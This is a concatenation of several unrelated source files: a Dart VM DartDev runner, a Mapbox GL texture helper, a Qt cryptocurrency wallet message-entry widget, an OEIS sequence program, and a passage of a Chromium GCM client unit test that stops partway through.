void (*)(char*[])> DartDevIsolate::DartDevRunner::argv_ = std::unique_ptr<char*[], void (*)(char**)>(nullptr, [](char**) {}); intptr_t DartDevIsolate::DartDevRunner::argc_ = 0; bool DartDevIsolate::ShouldParseCommand(const char* script_uri) { // If script_uri is not a file path or of a known URI scheme, we can assume // that this is a DartDev command. return (!File::ExistsUri(nullptr, script_uri) && (strncmp(script_uri, "http://", 7) != 0) && (strncmp(script_uri, "https://", 8) != 0) && (strncmp(script_uri, "file://", 7) != 0) && (strncmp(script_uri, "package:", 8) != 0) && (strncmp(script_uri, "google3://", 10) != 0)); } Utils::CStringUniquePtr DartDevIsolate::TryResolveDartDevSnapshotPath() { // |dir_prefix| includes the last path seperator. auto dir_prefix = EXEUtils::GetDirectoryPrefixFromExeName(); // First assume we're in dart-sdk/bin. char* snapshot_path = Utils::SCreate("%s../lib/_internal/dartdev.dill", dir_prefix.get()); if (File::Exists(nullptr, snapshot_path)) { return Utils::CreateCStringUniquePtr(snapshot_path); } free(snapshot_path); // If we're not in dart-sdk/bin, we might be in one of the $SDK/out/* // directories. Try to use a snapshot rom a previously built SDK. snapshot_path = Utils::SCreate("%sdartdev.dill", dir_prefix.get()); if (File::Exists(nullptr, snapshot_path)) { return Utils::CreateCStringUniquePtr(snapshot_path); } free(snapshot_path); return Utils::CreateCStringUniquePtr(nullptr); } void DartDevIsolate::DartDevRunner::Run( Dart_IsolateGroupCreateCallback create_isolate, char** packages_file, char** script, CommandLineOptions* dart_options) { create_isolate_ = create_isolate; dart_options_ = dart_options; package_config_override_ = packages_file; script_ = script; MonitorLocker locker(monitor_); int result = Thread::Start("DartDev Runner", RunCallback, reinterpret_cast<uword>(this)); if (result != 0) { FATAL1("Failed to start DartDev thread: %d", result); } monitor_->WaitMicros(Monitor::kNoTimeout); if (result_ == DartDevIsolate::DartDev_Result_Run) { // Clear the DartDev dart_options and replace them with the processed // options provided by DartDev. dart_options_->Reset(); dart_options_->AddArguments(const_cast<const char**>(argv_.get()), argc_); } } static Dart_CObject* GetArrayItem(Dart_CObject* message, intptr_t index) { return message->value.as_array.values[index]; } void DartDevIsolate::DartDevRunner::DartDevResultCallback( Dart_Port dest_port_id, Dart_CObject* message) { // These messages are produced in pkg/dartdev/lib/src/vm_interop_handler.dart. ASSERT(message->type == Dart_CObject_kArray); int32_t type = GetArrayItem(message, 0)->value.as_int32; switch (type) { case DartDevIsolate::DartDev_Result_Run: { result_ = DartDevIsolate::DartDev_Result_Run; ASSERT(GetArrayItem(message, 1)->type == Dart_CObject_kString); auto item2 = GetArrayItem(message, 2); ASSERT(item2->type == Dart_CObject_kString || item2->type == Dart_CObject_kNull); if (*script_ != nullptr) { free(*script_); } if (*package_config_override_ != nullptr) { free(*package_config_override_); *package_config_override_ = nullptr; } *script_ = Utils::StrDup(GetArrayItem(message, 1)->value.as_string); if (item2->type == Dart_CObject_kString) { *package_config_override_ = Utils::StrDup(item2->value.as_string); } ASSERT(GetArrayItem(message, 3)->type == Dart_CObject_kArray); Dart_CObject* args = GetArrayItem(message, 3); argc_ = args->value.as_array.length; Dart_CObject** dart_args = args->value.as_array.values; auto deleter = [](char** args) { for (intptr_t i = 0; i < argc_; ++i) { free(args[i]); } delete[] args; }; argv_ = std::unique_ptr<char*[], void (*)(char**)>(new char*[argc_], deleter); for (intptr_t i = 0; i < argc_; ++i) { argv_[i] = Utils::StrDup(dart_args[i]->value.as_string); } break; } case DartDevIsolate::DartDev_Result_Exit: { ASSERT(GetArrayItem(message, 1)->type == Dart_CObject_kInt32); int32_t dartdev_exit_code = GetArrayItem(message, 1)->value.as_int32; // If we're given a non-zero exit code, DartDev is signaling for us to // shutdown. Process::SetGlobalExitCode(dartdev_exit_code); // If DartDev hasn't signaled for us to do anything else, we can assume // there's nothing else for the VM to run and that we can exit. if (result_ == DartDevIsolate::DartDev_Result_Unknown) { result_ = DartDevIsolate::DartDev_Result_Exit; } // DartDev is done processing the command. Unblock the main thread and // continue the launch procedure. DartDevRunner::monitor_->Notify(); break; } default: UNREACHABLE(); } } void DartDevIsolate::DartDevRunner::RunCallback(uword args) { MonitorLocker locker_(DartDevRunner::monitor_); DartDevRunner* runner = reinterpret_cast<DartDevRunner*>(args); // Hardcode flags to match those used to generate the DartDev snapshot. Dart_IsolateFlags flags; Dart_IsolateFlagsInitialize(&flags); flags.enable_asserts = false; flags.null_safety = false; flags.use_field_guards = true; flags.use_osr = true; flags.is_system_isolate = true; char* error; Dart_Isolate dartdev_isolate = runner->create_isolate_( DART_DEV_ISOLATE_NAME, DART_DEV_ISOLATE_NAME, nullptr, runner->packages_file_, &flags, /* callback_data */ nullptr, const_cast<char**>(&error)); if (dartdev_isolate == nullptr) { ProcessError(error, kErrorExitCode); free(error); return; } Dart_EnterIsolate(dartdev_isolate); Dart_EnterScope(); // Retrieve the DartDev entrypoint. Dart_Port send_port_id = ILLEGAL_PORT; Dart_Handle root_lib = Dart_RootLibrary(); Dart_Handle main_closure = Dart_GetField(root_lib, Dart_NewStringFromCString("main")); CHECK_RESULT(main_closure); if (!Dart_IsClosure(main_closure)) { ProcessError("Unable to find 'main' in root library 'dartdev'", kErrorExitCode); Dart_ExitScope(); Dart_ExitIsolate(); return; } // Create a SendPort that DartDev can use to communicate its results over. send_port_id = Dart_NewNativePort(DART_DEV_ISOLATE_NAME, DartDevResultCallback, false); ASSERT(send_port_id != ILLEGAL_PORT); Dart_Handle send_port = Dart_NewSendPort(send_port_id); CHECK_RESULT(send_port); const intptr_t kNumIsolateArgs = 4; Dart_Handle isolate_args[kNumIsolateArgs]; isolate_args[0] = main_closure; // entryPoint isolate_args[1] = runner->dart_options_->CreateRuntimeOptions(); // args isolate_args[2] = send_port; // message isolate_args[3] = Dart_True(); // isSpawnUri Dart_Handle isolate_lib = Dart_LookupLibrary(Dart_NewStringFromCString("dart:isolate")); Dart_Handle result = Dart_Invoke(isolate_lib, Dart_NewStringFromCString("_startIsolate"), kNumIsolateArgs, isolate_args); CHECK_RESULT(result); CHECK_RESULT(Dart_RunLoop()); Dart_CloseNativePort(send_port_id); Dart_ExitScope(); Dart_ShutdownIsolate(); } void DartDevIsolate::DartDevRunner::ProcessError(const char* msg, int32_t exit_code) { Syslog::PrintErr("%s.\n", msg); Process::SetGlobalExitCode(exit_code); result_ = DartDevIsolate::DartDev_Result_Exit; DartDevRunner::monitor_->Notify(); } DartDevIsolate::DartDev_Result DartDevIsolate::RunDartDev( Dart_IsolateGroupCreateCallback create_isolate, char** packages_file, char** script, CommandLineOptions* dart_options) { runner_.Run(create_isolate, packages_file, script, dart_options); return runner_.result(); } #endif // if !defined(DART_PRECOMPILED_RUNTIME) } // namespace bin } // namespace dart
#include <mbgl/gl/context.hpp> #include <mbgl/gl/texture_resource.hpp> namespace mbgl { namespace gl { static int channelCount(gfx::TexturePixelType format) { switch (format) { case gfx::TexturePixelType::Alpha: case gfx::TexturePixelType::Depth: case gfx::TexturePixelType::Luminance: case gfx::TexturePixelType::Stencil: return 1; case gfx::TexturePixelType::RGBA: return 4; default: assert(!"Unknown texture pixel type"); return 0; } } static int channelStorageSize(gfx::TextureChannelDataType type) { switch (type) { case gfx::TextureChannelDataType::HalfFloat: return 2; case gfx::TextureChannelDataType::UnsignedByte: return 1; default: assert(!"Unknown texture channel data type"); return 0; } } TextureResource::~TextureResource() noexcept { auto& stats = texture.get_deleter().context->renderingStats(); stats.memTextures -= byteSize; assert(stats.memTextures >= 0); } int TextureResource::getStorageSize(const Size& size, gfx::TexturePixelType format, gfx::TextureChannelDataType type) { return size.width * size.height * channelCount(format) * channelStorageSize(type); } } // namespace gl } // namespace mbgl
#include "sendmessagesentry.h" #include "ui_sendmessagesentry.h" #include "guiutil.h" #include "addressbookpage.h" #include "walletmodel.h" #include "messagemodel.h" #include "optionsmodel.h" #include "addresstablemodel.h" #include "smessage.h" #include <QApplication> #include <QClipboard> SendMessagesEntry::SendMessagesEntry(QWidget *parent) : QFrame(parent), ui(new Ui::SendMessagesEntry), model(0) { ui->setupUi(this); #ifdef Q_OS_MAC ui->sendToLayout->setSpacing(4); #endif #if QT_VERSION >= 0x040700 /* Do not move this to the XML file, Qt before 4.7 will choke on it */ ui->addAsLabel->setPlaceholderText(tr("Enter a label for this address to add it to your address book")); ui->sendTo->setPlaceholderText(tr("Enter a HighTemperature address (e.g. C8gZqgY4r2RoEdqYk3QsAqFckyf9pRHN6i)")); ui->publicKey->setPlaceholderText(tr("Enter the public key for the address above, it is not in the blockchain")); ui->messageText->setErrorText(tr("You cannot send a blank message!")); #endif setFocusPolicy(Qt::TabFocus); setFocusProxy(ui->sendTo); GUIUtil::setupAddressWidget(ui->sendTo, this); } SendMessagesEntry::~SendMessagesEntry() { delete ui; } void SendMessagesEntry::on_pasteButton_clicked() { // Paste text from clipboard into recipient field ui->sendTo->setText(QApplication::clipboard()->text()); } void SendMessagesEntry::on_PubkeyPasteButton_clicked() { // Paste text from clipboard into recipient field ui->publicKey->setText(QApplication::clipboard()->text()); } void SendMessagesEntry::on_addressBookButton_clicked() { if(!model) return; AddressBookPage dlg(AddressBookPage::ForSending, AddressBookPage::SendingTab, this); dlg.setModel(model->getWalletModel()->getAddressTableModel()); if(dlg.exec()) { ui->sendTo->setText(dlg.getReturnValue()); if(ui->publicKey->text() == "") ui->publicKey->setFocus(); else ui->messageText->setFocus(); } } void SendMessagesEntry::on_sendTo_textChanged(const QString &address) { if(!model) return; QString pubkey; QString sendTo = address; if(model->getAddressOrPubkey(sendTo, pubkey)) { ui->publicKey->setText(pubkey); } else { ui->publicKey->show(); ui->publicKeyLabel->show(); } // Fill in label from address book, if address has an associated label QString associatedLabel = model->getWalletModel()->getAddressTableModel()->labelForAddress(address); if(!associatedLabel.isEmpty()) ui->addAsLabel->setText(associatedLabel); } void SendMessagesEntry::setModel(MessageModel *model) { this->model = model; //clear(); } void SendMessagesEntry::loadRow(int row) { if(model->data(model->index(row, model->Type, QModelIndex()), Qt::DisplayRole).toString() == MessageModel::Received) ui->sendTo->setText(model->data(model->index(row, model->FromAddress, QModelIndex()), Qt::DisplayRole).toString()); else ui->sendTo->setText(model->data(model->index(row, model->ToAddress, QModelIndex()), Qt::DisplayRole).toString()); } void SendMessagesEntry::setRemoveEnabled(bool enabled) { ui->deleteButton->setEnabled(enabled); } void SendMessagesEntry::clear() { ui->sendTo->clear(); ui->addAsLabel->clear(); ui->messageText->clear(); ui->sendTo->setFocus(); } void SendMessagesEntry::on_deleteButton_clicked() { emit removeEntry(this); } bool SendMessagesEntry::validate() { // Check input validity bool retval = true; if(ui->messageText->toPlainText() == "") { ui->messageText->setValid(false); retval = false; } if(!ui->sendTo->hasAcceptableInput() || (!model->getWalletModel()->validateAddress(ui->sendTo->text()))) { ui->sendTo->setValid(false); retval = false; } if(ui->publicKey->text() == "") { ui->publicKey->setValid(false); ui->publicKey->show(); retval = false; } return retval; } SendMessagesRecipient SendMessagesEntry::getValue() { SendMessagesRecipient rv; rv.address = ui->sendTo->text(); rv.label = ui->addAsLabel->text(); rv.pubkey = ui->publicKey->text(); rv.message = ui->messageText->toPlainText(); return rv; } QWidget *SendMessagesEntry::setupTabChain(QWidget *prev) { QWidget::setTabOrder(prev, ui->sendTo); QWidget::setTabOrder(ui->sendTo, ui->addressBookButton); QWidget::setTabOrder(ui->addressBookButton, ui->pasteButton); QWidget::setTabOrder(ui->pasteButton, ui->deleteButton); QWidget::setTabOrder(ui->deleteButton, ui->addAsLabel); QWidget::setTabOrder(ui->addAsLabel, ui->publicKey); QWidget::setTabOrder(ui->publicKey, ui->messageText); return ui->messageText; } void SendMessagesEntry::setValue(const SendMessagesRecipient &value) { ui->sendTo->setText(value.address); ui->addAsLabel->setText(value.label); ui->publicKey->setText(value.pubkey); ui->messageText->setPlainText(value.message); } bool SendMessagesEntry::isClear() { return ui->sendTo->text().isEmpty(); } void SendMessagesEntry::setFocus() { ui->sendTo->setFocus(); }
; A135530: a(n) = a(n-1) + 2*a(n-2) - 2*a(n-3), with a(0)=2, a(1)=1. ; 2,1,4,2,8,4,16,8,32,16,64,32,128,64,256,128,512,256,1024,512,2048,1024,4096,2048,8192,4096,16384,8192,32768,16384,65536,32768,131072,65536,262144,131072,524288,262144,1048576,524288,2097152,1048576,4194304,2097152,8388608,4194304,16777216,8388608,33554432,16777216,67108864,33554432,134217728,67108864,268435456,134217728,536870912,268435456,1073741824,536870912,2147483648,1073741824,4294967296,2147483648,8589934592,4294967296,17179869184,8589934592,34359738368,17179869184,68719476736,34359738368,137438953472,68719476736,274877906944,137438953472,549755813888,274877906944,1099511627776,549755813888,2199023255552,1099511627776,4398046511104,2199023255552,8796093022208,4398046511104,17592186044416,8796093022208,35184372088832,17592186044416,70368744177664,35184372088832,140737488355328,70368744177664,281474976710656,140737488355328,562949953421312,281474976710656,1125899906842624,562949953421312 mov $1,$0 gcd $0,2 lpb $1 mul $0,2 sub $1,2 lpe
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "google_apis/gcm/engine/mcs_client.h" #include <stddef.h> #include <stdint.h> #include <memory> #include <utility> #include "base/bind.h" #include "base/bind_helpers.h" #include "base/command_line.h" #include "base/files/scoped_temp_dir.h" #include "base/memory/ptr_util.h" #include "base/message_loop/message_loop.h" #include "base/run_loop.h" #include "base/strings/string_number_conversions.h" #include "base/test/simple_test_clock.h" #include "base/timer/timer.h" #include "google_apis/gcm/base/fake_encryptor.h" #include "google_apis/gcm/base/mcs_util.h" #include "google_apis/gcm/engine/fake_connection_factory.h" #include "google_apis/gcm/engine/fake_connection_handler.h" #include "google_apis/gcm/engine/gcm_store_impl.h" #include "google_apis/gcm/monitoring/fake_gcm_stats_recorder.h" #include "testing/gtest/include/gtest/gtest.h" namespace gcm { namespace { const uint64_t kAndroidId = 54321; const uint64_t kSecurityToken = 12345; // Number of messages to send when testing batching. // Note: must be even for tests that split batches in half. const int kMessageBatchSize = 6; // The number of unacked messages the client will receive before sending a // stream ack. // TODO(zea): get this (and other constants) directly from the mcs client. const int kAckLimitSize = 10; // TTL value for reliable messages. const int kTTLValue = 5 * 60; // 5 minutes. // Specifies whether immediate ACK should be requested. enum RequestImmediateAck { IMMEDIATE_ACK_IGNORE, // Ignores the field and does not set it. IMMEDIATE_ACK_NO, // Sets the field to false. IMMEDIATE_ACK_YES // Sets the field to true. }; // Helper for building arbitrary data messages. MCSMessage BuildDataMessage(const std::string& from, const std::string& category, const std::string& message_id, int last_stream_id_received, const std::string& persistent_id, int ttl, uint64_t sent, int queued, const std::string& token, const uint64_t& user_id, RequestImmediateAck immediate_ack) { mcs_proto::DataMessageStanza data_message; data_message.set_id(message_id); data_message.set_from(from); data_message.set_category(category); data_message.set_last_stream_id_received(last_stream_id_received); if (!persistent_id.empty()) data_message.set_persistent_id(persistent_id); data_message.set_ttl(ttl); data_message.set_sent(sent); data_message.set_queued(queued); data_message.set_token(token); data_message.set_device_user_id(user_id); if (immediate_ack != IMMEDIATE_ACK_IGNORE) { data_message.set_immediate_ack(immediate_ack == IMMEDIATE_ACK_YES); } return MCSMessage(kDataMessageStanzaTag, data_message); } // MCSClient with overriden exposed persistent id logic. class TestMCSClient : public MCSClient { public: TestMCSClient(base::Clock* clock, ConnectionFactory* connection_factory, GCMStore* gcm_store, gcm::GCMStatsRecorder* recorder) : MCSClient("", clock, connection_factory, gcm_store, recorder), next_id_(0) { } std::string GetNextPersistentId() override { return base::UintToString(++next_id_); } private: uint32_t next_id_; }; class TestConnectionListener : public ConnectionFactory::ConnectionListener { public: TestConnectionListener() : disconnect_counter_(0) { } ~TestConnectionListener() override { } void OnConnected(const GURL& current_server, const net::IPEndPoint& ip_endpoint) override { } void OnDisconnected() override { ++disconnect_counter_; } int get_disconnect_counter() const { return disconnect_counter_; } private: int disconnect_counter_; }; class MCSClientTest : public testing::Test { public: MCSClientTest(); ~MCSClientTest() override; void SetUp() override; void BuildMCSClient(); void InitializeClient(); void StoreCredentials(); void LoginClient(const std::vector<std::string>& acknowledged_ids); void LoginClientWithHeartbeat( const std::vector<std::string>& acknowledged_ids, int heartbeat_interval_ms); void AddExpectedLoginRequest(const std::vector<std::string>& acknowledged_ids, int heartbeat_interval_ms); base::SimpleTestClock* clock() { return &clock_; } TestMCSClient* mcs_client() const { return mcs_client_.get(); } FakeConnectionFactory* connection_factory() { return &connection_factory_; } bool init_success() const { return init_success_; } uint64_t restored_android_id() const { return restored_android_id_; } uint64_t restored_security_token() const { return restored_security_token_; } MCSMessage* received_message() const { return received_message_.get(); } std::string sent_message_id() const { return sent_message_id_;} MCSClient::MessageSendStatus message_send_status() const { return message_send_status_; } void SetDeviceCredentialsCallback(bool success); FakeConnectionHandler* GetFakeHandler() const; void WaitForMCSEvent(); void PumpLoop(); private: void ErrorCallback(); void MessageReceivedCallback(const MCSMessage& message); void MessageSentCallback(int64_t user_serial_number, const std::string& app_id, const std::string& message_id, MCSClient::MessageSendStatus status); base::SimpleTestClock clock_; base::ScopedTempDir temp_directory_; base::MessageLoop message_loop_; std::unique_ptr<base::RunLoop> run_loop_; std::unique_ptr<GCMStore> gcm_store_; FakeConnectionFactory connection_factory_; std::unique_ptr<TestMCSClient> mcs_client_; bool init_success_; uint64_t restored_android_id_; uint64_t restored_security_token_; std::unique_ptr<MCSMessage> received_message_; std::string sent_message_id_; MCSClient::MessageSendStatus message_send_status_; gcm::FakeGCMStatsRecorder recorder_; }; MCSClientTest::MCSClientTest() : run_loop_(new base::RunLoop()), init_success_(true), restored_android_id_(0), restored_security_token_(0), message_send_status_(MCSClient::SENT) { EXPECT_TRUE(temp_directory_.CreateUniqueTempDir()); run_loop_.reset(new base::RunLoop()); // Advance the clock to a non-zero time. clock_.Advance(base::TimeDelta::FromSeconds(1)); } MCSClientTest::~MCSClientTest() {} void MCSClientTest::SetUp() { testing::Test::SetUp(); } void MCSClientTest::BuildMCSClient() { gcm_store_.reset( new GCMStoreImpl(temp_directory_.GetPath(), message_loop_.task_runner(), base::WrapUnique<Encryptor>(new FakeEncryptor))); mcs_client_.reset(new TestMCSClient(&clock_, &connection_factory_, gcm_store_.get(), &recorder_)); } void MCSClientTest::InitializeClient() { gcm_store_->Load(GCMStore::CREATE_IF_MISSING, base::Bind( &MCSClient::Initialize, base::Unretained(mcs_client_.get()), base::Bind(&MCSClientTest::ErrorCallback, base::Unretained(this)), base::Bind(&MCSClientTest::MessageReceivedCallback, base::Unretained(this)), base::Bind(&MCSClientTest::MessageSentCallback, base::Unretained(this)))); run_loop_->RunUntilIdle(); run_loop_.reset(new base::RunLoop()); } void MCSClientTest::LoginClient( const std::vector<std::string>& acknowledged_ids) { LoginClientWithHeartbeat(acknowledged_ids, 0); } void MCSClientTest::LoginClientWithHeartbeat( const std::vector<std::string>& acknowledged_ids, int heartbeat_interval_ms) { AddExpectedLoginRequest(acknowledged_ids, heartbeat_interval_ms); mcs_client_->Login(kAndroidId, kSecurityToken); run_loop_->Run(); run_loop_.reset(new base::RunLoop()); } void MCSClientTest::AddExpectedLoginRequest( const std::vector<std::string>& acknowledged_ids, int heartbeat_interval_ms) { std::unique_ptr<mcs_proto::LoginRequest> login_request = BuildLoginRequest(kAndroidId, kSecurityToken, ""); for (size_t i = 0; i < acknowledged_ids.size(); ++i) login_request->add_received_persistent_id(acknowledged_ids[i]); if (heartbeat_interval_ms) { mcs_proto::Setting* setting = login_request->add_setting(); setting->set_name("hbping"); setting->set_value(base::IntToString(heartbeat_interval_ms)); } GetFakeHandler()->ExpectOutgoingMessage( MCSMessage(kLoginRequestTag, std::move(login_request))); } void MCSClientTest::StoreCredentials() { gcm_store_->SetDeviceCredentials( kAndroidId, kSecurityToken, base::Bind(&MCSClientTest::SetDeviceCredentialsCallback, base::Unretained(this))); run_loop_->Run(); run_loop_.reset(new base::RunLoop()); } FakeConnectionHandler* MCSClientTest::GetFakeHandler() const { return reinterpret_cast<FakeConnectionHandler*>( connection_factory_.GetConnectionHandler()); } void MCSClientTest::WaitForMCSEvent() { run_loop_->Run(); run_loop_.reset(new base::RunLoop()); } void MCSClientTest::PumpLoop() { run_loop_->RunUntilIdle(); run_loop_.reset(new base::RunLoop()); } void MCSClientTest::ErrorCallback() { init_success_ = false; DVLOG(1) << "Error callback invoked, killing loop."; run_loop_->Quit(); } void MCSClientTest::MessageReceivedCallback(const MCSMessage& message) { received_message_.reset(new MCSMessage(message)); DVLOG(1) << "Message received callback invoked, killing loop."; run_loop_->Quit(); } void MCSClientTest::MessageSentCallback(int64_t user_serial_number, const std::string& app_id, const std::string& message_id, MCSClient::MessageSendStatus status) { DVLOG(1) << "Message sent callback invoked, killing loop."; sent_message_id_ = message_id; message_send_status_ = status; run_loop_->Quit(); } void MCSClientTest::SetDeviceCredentialsCallback(bool success) { ASSERT_TRUE(success); run_loop_->Quit(); } // Initialize a new client. TEST_F(MCSClientTest, InitializeNew) { BuildMCSClient(); InitializeClient(); EXPECT_TRUE(init_success()); } // Initialize a new client, shut it down, then restart the client. Should // reload the existing device credentials. TEST_F(MCSClientTest, InitializeExisting) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Rebuild the client, to reload from the GCM store. StoreCredentials(); BuildMCSClient(); InitializeClient(); EXPECT_TRUE(init_success()); } // Log in successfully to the MCS endpoint. TEST_F(MCSClientTest, LoginSuccess) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); EXPECT_TRUE(connection_factory()->IsEndpointReachable()); EXPECT_TRUE(init_success()); ASSERT_TRUE(received_message()); EXPECT_EQ(kLoginResponseTag, received_message()->tag()); } // Encounter a server error during the login attempt. Should trigger a // reconnect. TEST_F(MCSClientTest, FailLogin) { BuildMCSClient(); InitializeClient(); GetFakeHandler()->set_fail_login(true); connection_factory()->set_delay_reconnect(true); LoginClient(std::vector<std::string>()); EXPECT_FALSE(connection_factory()->IsEndpointReachable()); EXPECT_FALSE(init_success()); EXPECT_FALSE(received_message()); EXPECT_TRUE(connection_factory()->reconnect_pending()); } // Send a message without RMQ support. TEST_F(MCSClientTest, SendMessageNoRMQ) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "", 0, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send a message without RMQ support while disconnected. Message send should // fail immediately, invoking callback. TEST_F(MCSClientTest, SendMessageNoRMQWhileDisconnected) { BuildMCSClient(); InitializeClient(); EXPECT_TRUE(sent_message_id().empty()); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "", 0, 1, 0, "", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message); // Message sent callback should be invoked, but no message should actually // be sent. EXPECT_EQ("X", sent_message_id()); EXPECT_EQ(MCSClient::NO_CONNECTION_ON_ZERO_TTL, message_send_status()); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send a message with RMQ support. TEST_F(MCSClientTest, SendMessageRMQ) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send a message with RMQ support while disconnected. On reconnect, the message // should be resent. TEST_F(MCSClientTest, SendMessageRMQWhileDisconnected) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); GetFakeHandler()->set_fail_send(true); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); // The initial (failed) send. GetFakeHandler()->ExpectOutgoingMessage(message); // The login request. GetFakeHandler()->ExpectOutgoingMessage(MCSMessage( kLoginRequestTag, BuildLoginRequest(kAndroidId, kSecurityToken, ""))); // The second (re)send. MCSMessage message2(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, kTTLValue - 1, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message2); mcs_client()->SendMessage(message); PumpLoop(); // Wait for the queuing to happen. EXPECT_EQ(MCSClient::QUEUED, message_send_status()); EXPECT_EQ("X", sent_message_id()); EXPECT_FALSE(GetFakeHandler()->AllOutgoingMessagesReceived()); GetFakeHandler()->set_fail_send(false); clock()->Advance(base::TimeDelta::FromSeconds(kTTLValue - 1)); connection_factory()->Connect(); WaitForMCSEvent(); // Wait for the login to finish. PumpLoop(); // Wait for the send to happen. // Receive the ack. std::unique_ptr<mcs_proto::IqStanza> ack = BuildStreamAck(); ack->set_last_stream_id_received(2); GetFakeHandler()->ReceiveMessage(MCSMessage(kIqStanzaTag, std::move(ack))); WaitForMCSEvent(); EXPECT_EQ(MCSClient::SENT, message_send_status()); EXPECT_EQ("X", sent_message_id()); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send a message with RMQ support without receiving an acknowledgement. On // restart the message should be resent. TEST_F(MCSClientTest, SendMessageRMQOnRestart) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); GetFakeHandler()->set_fail_send(true); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); // The initial (failed) send. GetFakeHandler()->ExpectOutgoingMessage(message); GetFakeHandler()->set_fail_send(false); mcs_client()->SendMessage(message); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Rebuild the client, which should resend the old message. StoreCredentials(); BuildMCSClient(); InitializeClient(); clock()->Advance(base::TimeDelta::FromSeconds(kTTLValue - 1)); MCSMessage message2(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, kTTLValue - 1, "", 0, IMMEDIATE_ACK_NO)); LoginClient(std::vector<std::string>()); GetFakeHandler()->ExpectOutgoingMessage(message2); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send messages with RMQ support, followed by receiving a stream ack. On // restart nothing should be recent. TEST_F(MCSClientTest, SendMessageRMQWithStreamAck) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Send some messages. for (int i = 1; i <= kMessageBatchSize; ++i) { MCSMessage message(BuildDataMessage("from", "category", "X", 1, base::IntToString(i), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); PumpLoop(); } EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Receive the ack. std::unique_ptr<mcs_proto::IqStanza> ack = BuildStreamAck(); ack->set_last_stream_id_received(kMessageBatchSize + 1); GetFakeHandler()->ReceiveMessage(MCSMessage(kIqStanzaTag, std::move(ack))); WaitForMCSEvent(); // Reconnect and ensure no messages are resent. StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); } // Send messages with RMQ support. On restart, receive a SelectiveAck with // the login response. No messages should be resent. TEST_F(MCSClientTest, SendMessageRMQAckOnReconnect) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Send some messages. std::vector<std::string> id_list; for (int i = 1; i <= kMessageBatchSize; ++i) { id_list.push_back(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", id_list.back(), 1, id_list.back(), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); PumpLoop(); } EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Rebuild the client, and receive an acknowledgment for the messages as // part of the login response. StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); std::unique_ptr<mcs_proto::IqStanza> ack(BuildSelectiveAck(id_list)); GetFakeHandler()->ReceiveMessage(MCSMessage(kIqStanzaTag, std::move(ack))); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Send messages with RMQ support. On restart, receive a SelectiveAck with // the login response that only acks some messages. The unacked messages should // be resent. TEST_F(MCSClientTest, SendMessageRMQPartialAckOnReconnect) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Send some messages. std::vector<std::string> id_list; for (int i = 1; i <= kMessageBatchSize; ++i) { id_list.push_back(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", id_list.back(), 1, id_list.back(), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); PumpLoop(); } EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Rebuild the client, and receive an acknowledgment for the messages as // part of the login response. StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); std::vector<std::string> acked_ids, remaining_ids; acked_ids.insert(acked_ids.end(), id_list.begin(), id_list.begin() + kMessageBatchSize / 2); remaining_ids.insert(remaining_ids.end(), id_list.begin() + kMessageBatchSize / 2, id_list.end()); for (int i = 1; i <= kMessageBatchSize / 2; ++i) { MCSMessage message(BuildDataMessage( "from", "category", remaining_ids[i - 1], 2, remaining_ids[i - 1], kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); } std::unique_ptr<mcs_proto::IqStanza> ack(BuildSelectiveAck(acked_ids)); GetFakeHandler()->ReceiveMessage(MCSMessage(kIqStanzaTag, std::move(ack))); 